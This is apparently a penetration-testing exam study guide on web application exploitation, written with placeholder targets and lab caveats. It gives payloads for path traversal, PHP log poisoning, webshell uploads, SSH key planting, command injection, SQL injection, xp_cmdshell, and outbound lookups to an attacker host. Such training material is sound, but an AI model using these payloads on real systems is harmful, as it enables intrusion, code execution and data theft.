2.2 Turn application weaknesses into access

Blocks: 4. Operational procedure | Quick sheet

2.2.5.1 Purpose and result

A verified file-read primitive and relevant source/configuration/credential artifacts.

2.2.5.2 Recognition clues

A download/path parameter or URL segment influences a local filename.

2.2.5.2.1 Find the clue from your starting access

Where to investigate: Find real download/preview/export requests in the behavior map; inspect which filename/path values the normal request accepts.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -b cookies.txt -D - 'http://TARGET:PORT/download?file=report.pdf'

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

GET /download?file=report.pdf
Content-Disposition: attachment; filename=report.pdf
Body: EXPECTED_REPORT_BYTES

Recognize this detail: An application-controlled file selection is the cue to test path confinement; it is not yet arbitrary read.

Still missing before method selection: Request a known target-platform file through the real file parameter/path and compare with the normal response. Require recognizable file contents; a reflected filename, error or status change is not a read.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.5.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file.

2.2.5.4 Discover and verify prerequisites

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH

2.2.5.5 Why it works

Traversal changes path resolution. URL decoding, application normalization and curl path normalization are separate layers; readable bytes do not establish interpreted inclusion.

2.2.5.6 Execute and choose variants

Linux proof:

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH

Windows proof:

curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH

curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'

..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd

Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.

2.2.5.7 Worked example — hypothetical

Observation: a download function accepts a filename. Test: request a recognizable system file with one controlled traversal. Illustrative output: expected account-file content. Interpretation: file read is confirmed; investigate relevant application configuration.

2.2.5.8 Verify the result

Require recognizable target-file content and controls that exclude a reflected input or static error page.

2.2.5.9 Failure and fallback

An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.

2.2.5.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.6.1 Purpose and result

Decoded application source without requiring its normal rendered behavior.

2.2.6.2 Recognition clues

A PHP page/include parameter and possible access to local application files.

2.2.6.2.1 Find the clue from your starting access

Where to investigate: Inspect the normal page selector, PHP technology evidence and any readable source/configuration clue obtained during mapping.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -D - 'http://TARGET:PORT/index.php?page=about'

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Normal link: index.php?page=about
Error for invalid page: include(PAGE.php): failed to open stream

Recognize this detail: An include-related error suggests an evaluating PHP sink, unlike an ordinary file-download function.

Still missing before method selection: Verify that the actual sink accepts a filter wrapper and returns decodable target source; errors alone do not prove it.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.6.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A PHP inclusion sink accepts the filter wrapper and the process can read the source.

2.2.6.4 Discover and verify prerequisites

curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php

2.2.6.5 Why it works

The filter wrapper transforms file bytes before inclusion, allowing source disclosure instead of normal PHP evaluation. A generic file-download endpoint may not accept the same wrapper.

2.2.6.6 Execute and choose variants

curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
printf '%s' 'BASE64_DATA' | base64 -d

2.2.6.7 Worked example — hypothetical

Observation: direct inclusion renders a page. Test: request its base64-filtered source. Illustrative output: the decoded result contains database connection logic. Interpretation: follow the credential and use source to map the actual sink.

2.2.6.8 Verify the result

Decode the response and identify real target source; normal HTML rendering does not prove source disclosure.

2.2.6.9 Failure and fallback

Wrapper filtering, missing path or a non-PHP read operation can defeat this route; retain ordinary traversal/source-disclosure evidence separately.

2.2.6.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.7.1 Purpose and result

Verified command execution under the inclusion process identity.

2.2.7.2 Recognition clues

A confirmed evaluating include and a log or file containing attacker-controlled bytes.

2.2.7.2.1 Find the clue from your starting access

Where to investigate: After a file/include primitive is demonstrated, use readable configuration to locate the actual log and check whether your harmless request marker is present.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Readable log excerpt: GET / ... User-Agent=LOG_CANARY

Recognize this detail: The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.

Still missing before method selection: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.

If you do not yet have this clue: start with Disclose PHP source through an inclusion wrapper.

2.2.7.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available.

2.2.7.4 Discover and verify prerequisites

curl -skG --data-urlencode 'page=/var/log/apache2/access.log' http://TARGET:PORT/index.php

2.2.7.5 Why it works

LFI alone selects a local file. Execution requires that included bytes be interpreted as code; source displayed as text proves a weaker primitive. Data-wrapper and remote-include variants below have additional URL-inclusion and routing prerequisites.

2.2.7.6 Execute and choose variants

curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.

PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

2.2.7.7 Worked example — hypothetical

Observation: an include can display a readable access log. Test: place a controlled marker, then the minimal interpreter proof. Illustrative output: the second request returns the target execution identity. Interpretation: command execution is proven; map the session path.

2.2.7.8 Verify the result

Require command-specific output distinct from the logged payload and record hostname/identity.

2.2.7.9 Failure and fallback

Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.

2.2.7.10 Continue from the interpreted result

Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes

Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.

Stop/verify: Confirm saved/retrieved bytes and the final identifier/path; a success message alone is insufficient.

Failure/next check: A rejected extension may be client validation, server MIME/content policy or role permission. Preserve a valid benign baseline before changing one property.

Blocks: 4. Operational procedure | Quick sheet

2.2.9.1 Purpose and result

Verified application-server command execution.

2.2.9.2 Recognition clues

Uploads are retrievable and the application stack suggests an executable file handler.

2.2.9.2.1 Find the clue from your starting access

Where to investigate: Begin with a verified retrievable upload; inspect final naming, response handling and evidence of the application's actual interpreter.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -i http://TARGET:PORT/uploads/FILE

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Stored file response:
Content-Type: text/plain
Body: literal uploaded script source

Recognize this detail: A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.

Still missing before method selection: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.

If you do not yet have this clue: start with Establish upload acceptance, storage and retrieval.

2.2.9.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted.

2.2.9.4 Discover and verify prerequisites

curl -sk -i http://TARGET:PORT/uploads/FILE

2.2.9.5 Why it works

File write crosses into execution only through a consuming interpreter or process. A MIME change may bypass validation while the final storage remains inert.

2.2.9.6 Execute and choose variants

PHP example, only after PHP handler evidence:

printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php

curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload

2.2.9.7 Worked example — hypothetical

Observation: a script upload is accepted. Test: request its final URL with a minimal command argument. Illustrative output: source downloads instead of running. Interpretation: execution is not proven; seek another handler or write-consumer chain.

2.2.9.8 Verify the result

Require target command output and identity; acceptance, source download and a 200 status are weaker results.

2.2.9.9 Failure and fallback

Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.

2.2.9.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.10.1 Purpose and result

A verified destination write and, when separately enabled, an authentication or execution transition.

2.2.10.2 Recognition clues

A multipart filename/import path appears to influence the filesystem destination.

2.2.10.2.1 Find the clue from your starting access

Where to investigate: Inspect an accepted upload's raw multipart filename/path fields and compare the returned destination for one harmless unique filename.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Submitted filename: ../UNIQUE_CANARY.txt
Independent listing: /EXPECTED_PARENT/UNIQUE_CANARY.txt

Recognize this detail: An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.

Still missing before method selection: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.

If you do not yet have this clue: start with Establish upload acceptance, storage and retrieval.

2.2.10.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file.

2.2.10.4 Discover and verify prerequisites

curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload

2.2.10.5 Why it works

Arbitrary placement is different from an executable web upload. An SSH-key route additionally requires the exact user/home, directory/file semantics, accepted key policy and reachable SSH service.

2.2.10.6 Execute and choose variants

First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.

ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET

2.2.10.7 Worked example — hypothetical

Observation: an upload stores a benign canary outside its normal directory. Test: independently locate/read it. Illustrative output: the destination belongs to the web identity but another user's SSH directory is not writable. Interpretation: path control exists; the proposed key-placement chain does not.

2.2.10.8 Verify the result

Independently prove destination and bytes before claiming a privileged consumer or accepted key.

2.2.10.9 Failure and fallback

Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.

2.2.10.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.11.1 Purpose and result

Verified command execution or a repeatable command-dependent blind effect.

2.2.11.2 Recognition clues

An input appears in a command-like operation or causes shell-dependent behavior.

2.2.11.2.1 Find the clue from your starting access

Where to investigate: Find a mapped feature that runs a system-like operation, inspect its request, and compare a normal value with one bounded command-dependent probe.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Normal function: network diagnostic
Request parameter: host=NORMAL_VALUE
Response includes utility-style output

Recognize this detail: The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.

Still missing before method selection: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.11.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof.

2.2.11.4 Discover and verify prerequisites

curl -skG --data-urlencode 'PARAM=VALUE;id' http://TARGET:PORT/PATH

2.2.11.5 Why it works

The request decoder, application language and shell parse at different layers. Visible output and controlled timing can prove execution without a reverse connection.

2.2.11.6 Execute and choose variants

2.2.11.6.1.1 Prove command execution through independently recognizable output Visible-output baseline

Start with a benign identity marker appropriate to the inferred operating system:

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid

curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH

127.0.0.1 & whoami
127.0.0.1 | whoami

2.2.11.6.1.2 Check command execution through repeated control and timing comparisons Blind timing proof

Repeat a control and a bounded-delay request several times:

curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Windows candidate after platform evidence:

127.0.0.1 & timeout /t 5

2.2.11.6.1.3 After command execution

Linux:   id; hostname; pwd
Windows: whoami; hostname; cd

Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.

2.2.11.7 Worked example — hypothetical

Observation: a utility parameter behaves differently with a separator. Test: compare baseline, invalid control and minimal identity command. Illustrative output: a consistent uid line appears only in the injected request. Interpretation: establish the OS context before selecting a shell.

2.2.11.8 Verify the result

Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.

2.2.11.9 Failure and fallback

A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.

2.2.11.10 Continue from the interpreted result

Requires: Input reaches a SQL query; a valid request and stable response baseline exist

Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.

Stop/verify: Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.

Failure/next check: Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.

Blocks: 4. Operational procedure | Quick sheet

2.2.13.1 Purpose and result

A verified application authentication transition.

2.2.13.2 Recognition clues

A login/query path has confirmed compatible SQL influence.

2.2.13.2.1 Find the clue from your starting access

Where to investigate: Use the actual login request already shown to influence SQL, including its real username/password fields and invalid-login control.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -i --data-urlencode 'username=USER' --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Invalid control: login rejected
Mapped handler: username/password query returns a user row

Recognize this detail: The authentication decision may depend on the injectable query result, creating a bypass candidate.

Still missing before method selection: Verify query shape and post-query checks, then independently confirm the resulting session identity/protected action.

If you do not yet have this clue: start with Establish SQL query influence and DBMS context.

2.2.13.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The injected condition changes the authentication query and the application accepts the resulting account/session.

2.2.13.4 Discover and verify prerequisites

curl -sk -i -c cookies.txt --data-urlencode "username=USER' OR '1'='1'-- -" --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login

2.2.13.5 Why it works

Changing a WHERE clause can return a user row, but the application may perform additional password/account checks. Bypass must be proven by the new session and accessible functionality.

2.2.13.6 Execute and choose variants

In an authorized disposable lab, preserve the application's quoting and comment syntax:

' OR 1=1-- -
administrator'-- -

2.2.13.7 Worked example — hypothetical

Observation: the login query is injectable. Test: compare invalid-password control and bypass request. Illustrative output: a new authenticated session can read a protected profile. Interpretation: confirm which identity was selected and enumerate its application rights.

2.2.13.8 Verify the result

Verify the authenticated identity and protected action, not merely a redirect or a new cookie.

2.2.13.9 Failure and fallback

Query-shape mismatch or additional checks can block login despite SQLi. Use data extraction or another application path.

2.2.13.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Operational procedure | Quick sheet

2.2.14.1 Purpose and result

Visible database identity, schema and selected useful data.

2.2.14.2 Recognition clues

An injectable SELECT renders query results.

2.2.14.2.1 Find the clue from your starting access

Where to investigate: After controlled SELECT influence, inspect which database result fields are rendered and test the documented column-shape controls.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Compatible ordering: normal result
Out-of-range ordering: column-position error

Recognize this detail: A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.

Still missing before method selection: Confirm column count/types and a query-generated visible marker before extracting selected metadata.

If you do not yet have this clue: start with Establish SQL query influence and DBMS context.

2.2.14.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Compatible column count/types, a reflected result position and rights to the requested data.

2.2.14.4 Discover and verify prerequisites

curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH

2.2.14.5 Why it works

UNION combines compatible result sets; only columns rendered by the application carry visible output. DBMS-specific metadata and string types constrain payload choice.

2.2.14.6 Execute and choose variants

First establish column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Or increment NULL columns until the query succeeds:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Then find a displayed text-compatible column:

' UNION SELECT NULL,'MARKER_7F31',NULL-- -

MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.

2.2.14.7 Worked example — hypothetical

Observation: a SELECT result is reflected. Test: determine shape and place a recognizable marker in a compatible output column. Illustrative output: the marker appears in the response. Interpretation: request only relevant metadata and credential-bearing fields.

2.2.14.8 Verify the result

Verify actual returned target data and the reflected position; distinguish a reflected input string from executed SQL output.

2.2.14.9 Failure and fallback

No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable.

2.2.14.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.15.1 Purpose and result

Selected database facts recovered through a reproducible inference channel.

2.2.15.2 Recognition clues

Query influence exists but rows are not rendered.

2.2.15.2.1 Find the clue from your starting access

Where to investigate: Start from proven query influence and compare stable true/false controls or repeated baseline timings when no rows are rendered.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Repeated baseline: short, stable responses
Predicate TRUE: marker present
Predicate FALSE: marker absent

Recognize this detail: A repeatable predicate-dependent difference provides an inference channel even without visible rows.

Still missing before method selection: Validate controls using a known predicate and separate caching, network load and backend delay.

If you do not yet have this clue: start with Establish SQL query influence and DBMS context.

2.2.15.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests.

2.2.15.4 Discover and verify prerequisites

curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

2.2.15.5 Why it works

Boolean and timing channels encode a predicate's truth rather than display data. Timing must separate database delay from network/server noise and rate limiting.

2.2.15.6 Execute and choose variants

Choose a stable page marker or content length for true/false comparisons:

' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

DBMS-specific time proofs:

MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

2.2.15.7 Worked example — hypothetical

Observation: true/false predicates produce different page content. Test: repeat controls and infer one known character before unknown data. Illustrative output: the known predicate is classified correctly. Interpretation: use the validated channel for selected useful fields.

2.2.15.8 Verify the result

Keep true/false controls, repeated measurements and the exact inferred predicate; a single slow response is inconclusive.

2.2.15.9 Failure and fallback

Unstable sessions/caching/load can break inference. Fix the channel or choose another verified primitive rather than trusting noisy recovered strings.

2.2.15.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.16.1 Purpose and result

A verified server-side file operation or command effect.

2.2.16.2 Recognition clues

Confirmed SQL control plus database file, execution or impersonation privileges.

2.2.16.2.1 Find the clue from your starting access

Where to investigate: From the authenticated/injected database context inspect the real role, grants, enabled facilities and server identity before selecting any file/command transition.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SYSTEM_USER: DATABASE_CONTEXT
IS_SRVROLEMEMBER: 1
OS execution identity: not yet observed

Recognize this detail: Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.

Still missing before method selection: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.

If you do not yet have this clue: start with Establish SQL query influence and DBMS context.

2.2.16.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer.

2.2.16.4 Discover and verify prerequisites

SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');

2.2.16.5 Why it works

Database superuser, application administrator and operating-system administrator are different authorities. File write still needs execution handling; command facilities run as a service/proxy identity.

2.2.16.6 Execute and choose variants

This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';

2.2.16.7 Worked example — hypothetical

Observation: a SQL Server session has the required administrative role. Test: inspect command-facility state and execute a minimal identity proof through the supported procedure. Illustrative output: the SQL service identity returns. Interpretation: treat that exact identity as the foothold.

2.2.16.8 Verify the result

Verify the resulting host and operating-system identity, or independently verify written/read bytes.

2.2.16.9 Failure and fallback

Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.

2.2.16.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.17.1 Purpose and result

A verified SQL-dependent outbound request, with its data and transport limits established.

2.2.17.2 Recognition clues

SQL execution is plausible but in-band output is unavailable.

2.2.17.2.1 Find the clue from your starting access

Where to investigate: After DBMS/query influence is established, document the absence of stable in-band channels and inspect whether the database platform exposes a permitted outbound lookup facility.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Saved query context: DBMS identified
Response: no rendered rows; unstable timing
Outbound database capability: unknown

Recognize this detail: Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.

Still missing before method selection: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.

If you do not yet have this clue: start with Establish SQL query influence and DBMS context.

2.2.17.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver.

2.2.17.4 Discover and verify prerequisites

ss -lnt
ip route get TARGET

2.2.17.5 Why it works

Out-of-band SQL effects require database execution and a second network path. A received request must be tied to the selected query; a missing callback cannot distinguish blocked egress from failed SQL.

2.2.17.6 Execute and choose variants

Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.

Hypothetical MySQL/Windows UNC lookup in an authorized lab:

SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));

Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.

2.2.17.7 Worked example — hypothetical

Observation: an injected request has no visible result. Test: use the documented controlled lookup with a unique label and no sensitive row data. Illustrative output: only that query produces the expected lookup. Interpretation: the channel exists; evaluate permissions and scope before any further use.

2.2.17.8 Verify the result

Correlate the query and unique receiver event; do not claim arbitrary database extraction from one callback.

2.2.17.9 Failure and fallback

Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available.

2.2.17.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.18.1 Purpose and result

Verified unauthorized object read or modification.

2.2.18.2 Recognition clues

A request selects an object by ID/path and two authorized ownership contexts are available.

2.2.18.2.1 Find the clue from your starting access

Where to investigate: Capture object requests for two authorized study accounts and associate each object ID with its owner before making a cross-account comparison.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Request identity: USER_A
Object metadata: owner=USER_B
Response: private object bytes

Recognize this detail: A private object owned by another controlled account is returned to the lower-context requester.

Still missing before method selection: Confirm intended sharing rules, account isolation and actual object content/change with valid controls.

If you do not yet have this clue: start with Map functions, roles and normal requests manually.

2.2.18.3 Prerequisites

Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: The server accepts a lower-privilege identity's request for an object it should not access.

2.2.18.4 Discover and verify prerequisites

curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID

2.2.18.5 Why it works

Knowing or guessing an identifier is not the flaw; missing server-side authorization on the selected object is. Public objects and intentionally shared data need different expected behavior.

2.2.18.6 Execute and choose variants

Use two controlled lab identities and one object owned by each:

GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN

1. Save user A's successful request for object A.
2. Change only the path/query/body object reference to object B.
3. Keep A's token.
4. Verify disclosure or the intended update/delete effect against B's object.

Decisive output: data or a state change belonging to B under A's context. A different error or 200 wrapper is not enough.

2.2.18.7 Worked example — hypothetical

Observation: account A can request account B's object ID. Test: compare owner, lower-role and unauthenticated controls. Illustrative output: A receives B's private document. Interpretation: object-level read is confirmed; inspect the document's useful artifacts.

2.2.18.8 Verify the result

Verify object ownership, requesting identity and the actual unauthorized effect.

2.2.18.9 Failure and fallback

A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.

2.2.18.10 Continue from the interpreted result

Blocks: 4. Operational procedure | Quick sheet

2.2.19.1 Purpose and result

A verified application privilege/action transition.

2.2.19.2 Recognition clues

Administrative actions/routes or request methods visible from a lower role.

2.2.19.2.1 Find the clue from your starting access

Where to investigate: Compare ordinary-user and authorized-administrator requests for a real protected function, preserving method, CSRF/session and arguments.

Discovery action — reference example:

Access/context: A reproducible application request and a controlled input or access-context comparison

curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH

Illustrative evidence — synthetic, abbreviated:

